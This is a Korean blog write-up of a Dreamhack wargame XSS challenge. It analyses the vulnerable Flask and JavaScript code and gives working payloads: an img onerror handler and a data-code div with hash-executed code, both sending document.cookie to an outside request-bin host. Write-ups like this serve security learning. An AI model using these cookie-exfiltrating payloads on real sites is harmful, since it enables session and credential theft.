반응형
문제 설명
client side를 연습해봐요!
코드 분석
app.py
cookie.update({"domain": "127.0.0.1"})
- 도메인이 127.0.0.1로 제약되어 있음
- 쿠키가 127.0.0.1일 때만 살아있음 → xss도 127.0.0.1에서 실행되어야 쿠키 획득 가능
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
- 봇이 flag 쿠키를 가진 상태로 payload URL을 염
- XSS만 성공하면 document.cookie로 플래그 읽기 가능
def check(payload, cookie={"name": "name", "value": "value"}):
return urlread(payload, cookie)
- check함수가 호출되면 urlread 함수로 가 payload랑 cookie전달
@app.route("/report", methods=["GET", "POST"])
def report():
if request.method == "GET":
return render_template("report.html")
elif request.method == "POST":
payload = request.form.get("payload")
if not check(payload, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("nope!");history.go(-1);</script>'
return '<script>alert("nice!");history.go(-1);</script>'
- /report페이지는 payload를 이용자로부터 입력받음
- 입력받고 payload랑 cookie값 check함수로 전달
templates / xss.html
const p = new URLSearchParams(location.search).get('payload');
if(p) {
document.getElementById('c').innerHTML = p;
}
- payload가 필터링 없이 innerHTML로 들어감
- innerHTML은 <script> 태그가 안 먹히니 우회해야 함
const h = location.hash.slice(1);
if(h) {
const e = document.querySelectorAll('[data-code]');
if(e.length > 0) {
const code = Array.from(e).map(el => el.getAttribute('data-code')).join(';');
new Function(code + ';' + h)();
}
}
- data-code 요소가 하나라도 있으면 # 뒤 코드가 강제로 실행됨
- 따라서 payload에 <div data code=""> 만 심어도 hash 기반 실행이 가능
취약점 분석
- payload를 innerHTML로 그대로 삽입
- 사용자가 입력한 URL을 그대로 봇이 방문
- location.hash를 new Function()으로 직접 실행 → data-code속성 가진 요소가 하나라도 있으면 실행됨.
익스플로잇
<script> 태그는 사용이 불가능하니 <img> 태그를 이용.(쿠키를 안전하게 전달하기 위해 encodeURICompoent() 이용)
<img src=x onerror="location.href='https://igfffff.request.dreamhack.games/c='+encodeURIComponent(document.cookie)">
따라서 총 페이로드는
http://127.0.0.1:8000/xss?payload=%3Cimg%20src%3Dx%20onerror%3D%22location.href%3D'https%3A%2F%2Figfffff.request.dreamhack.games%2F%3Fc%3D'%2BencodeURIComponent(document.cookie)%22%3E
- < 나 > 같은 특수문자는 URL에서 예약 문자라서 그대로 넣으면 브라우저/서버가 URL을 잘못 파싱 할 경우가 생김
따라서 URL 인코딩을 해준후 작성해줘야 함

출제자 의도
아마 <div> 태그를 써서 풀어야 했을 것이다.
http://127.0.0.1:8000/xss?payload=<div data-code=""></div>#<JS>
<JS> 부분에 실행할 JS부분을 넣어주면 된다.
http://127.0.0.1:8000/xss?payload=<div data-code=""></div>#location.href='https://igfffff.request.dreamhack.games/?c='+encodeURIComponent(document.cookie)
- payload로 data-code 가진 요소를 넣어서 해시 실행 조건을 만족시킴
- # 뒤에 실행할 JS를 넣고
- new Function(code + ; + h) 때문에 h가 실행된다.
위 페이로드도 URL 인코딩을 해서 작성해주면 된다.
반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| Command Injection Advanced (0) | 2026.02.06 |
|---|---|
| error based sql injection (0) | 2026.02.03 |
| easy server side (0) | 2026.02.03 |
| php-1 (0) | 2026.02.02 |
| image-storage (0) | 2026.02.02 |